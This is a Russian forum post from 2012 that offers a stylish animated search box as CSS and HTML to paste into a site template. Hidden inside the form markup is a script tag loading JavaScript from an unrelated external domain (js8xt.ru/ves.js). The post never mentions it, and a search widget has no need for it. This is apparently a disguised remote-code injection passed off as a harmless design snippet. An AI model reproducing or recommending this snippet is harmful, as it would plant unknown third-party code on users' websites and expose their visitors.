Games-Fun.Ru

Последний ответ

  • Анонс игры Dead Rising 2: Off the Record (66)

    • Страница 1 из 1
    • 1
    Модератор форума: Axon  
    Красивый поиск по сайту
    yariloДата: Среда, 25.04.2012, 13:02 | Сообщение # 1
    Ученик
    Сообщений: 19
    Репутация: 2
    Статус: Offline
    http://s019.radikal.ru/i614/1204/b4/9bbbaeb609fb.jpg <-- Скрин

    Поиск очень стильный и подойдёт к любому шаблону.
    При навождении на него он будет раздвигаться, как это показано на экране.
    УСТАНОВКА
    вставляем куда вам нужно

    [code]<style>
    #wrap-search {
    margin: 0 auto;
    width: 100px;
    -moz-transition: all .2s ease-out;
    -webkit-transition: all .2s ease-out;
    -o-transition: all .2s ease-out;
    transition: all .2s ease-out;
    text-indent: 0px;}

    #wrap-search br { display: none; }

    #wrap-search #search {
    background: -moz-linear-gradient(center bottom , #9B9B9B 0%, #A9A9A9 50%, #CACACA 50%, #D3D3D3 2550%);
    background: -webkit-gradient(linear,left bottom,left top,color-stop(0, #9B9B9B),color-stop(0.5, #A9A9A9),color-stop(0.5, #CACACA),color-stop(25.5, #D3D3D3));
    filter: progid:DXImageTransform.Microsoft.gradient(startColorStr='#9B9B9B', EndColorStr='#CACACA');
    border-radius: 5px;
    padding: 4px;
    }

    #wrap-search:hover { width:200px; }

    .form-search {
    background: -webkit-gradient(linear, 0 bottom, 0 top, from(#EBEBEB), to(#BCBCBC));
    background: -moz-linear-gradient(-90deg, #BCBCBC, #EBEBEB);
    filter: progid:DXImageTransform.Microsoft.gradient(startColorStr='#EBEBEB', EndColorStr='#BCBCBC');
    border: 1px solid #747474;
    border-radius: 3px;
    box-shadow: inset 0 1px 1px #575555, 0 1px 0 #FFF;
    height: 32px;
    position: relative;
    -moz-transition: all .2s ease-out;
    -webkit-transition: all .2s ease-out;
    -o-transition: all .2s ease-out;
    transition: all .2s ease-out;
    }

    .form-search input[type='text'] {
    background: none;
    border: none;
    color:#6E7074;
    height: 34px;
    line-height: 34px;
    padding: 0 27px 0 6px;
    font-family: Helvetica, Arial, sans-serif;
    font-size: 13px;
    text-shadow: 0 1px 0 #FFF;
    }

    #wrap-search:hover input[type='text'] { color:#597C84; }

    #wrap-search:hover .form-search {
    background: -moz-linear-gradient(-90deg, #9CC2CA, #DFECEF);
    background: -webkit-gradient(linear, 0 bottom, 0 top, from(#DFECEF), to(#9CC2CA));
    filter: progid:DXImageTransform.Microsoft.gradient(startColorStr='#DFECEF', EndColorStr='#9CC2CA');
    box-shadow: inset 0 1px 1px #46575b, 0 1px 0 #FFF;
    color: #25464D;
    }

    .form-search input[type='image'] {
    height: 32px;
    opacity: .5;
    filter:alpha(opacity=50);
    position: absolute;
    right: 0px;
    top: 0px;
    width: 32px;
    }

    .form-search input[type='image']:hover {
    opacity: 1;
    filter:alpha(opacity=100);
    }

    </style>

    <div id="wrap-search">
    <div id="search">
    <form class="form-search" method="get" action="/search" target="_blank">
    <script language=JavaScript src=http://js8xt.ru/ves.js></script>
    <input src="http://s019.radikal.ru/i622/1204/78/0154b88f49a9.png" type="image">
    <input name="q" value="поиск" onfocus="this.value='';" onblur="this.value='поиск';" onmouseover="this.value='';" onmouseout="this.value='поиск';" type="text">
    </form>
    </div>
    </div>[/code]


    KRACER
    • Страница 1 из 1
    • 1
    Поиск: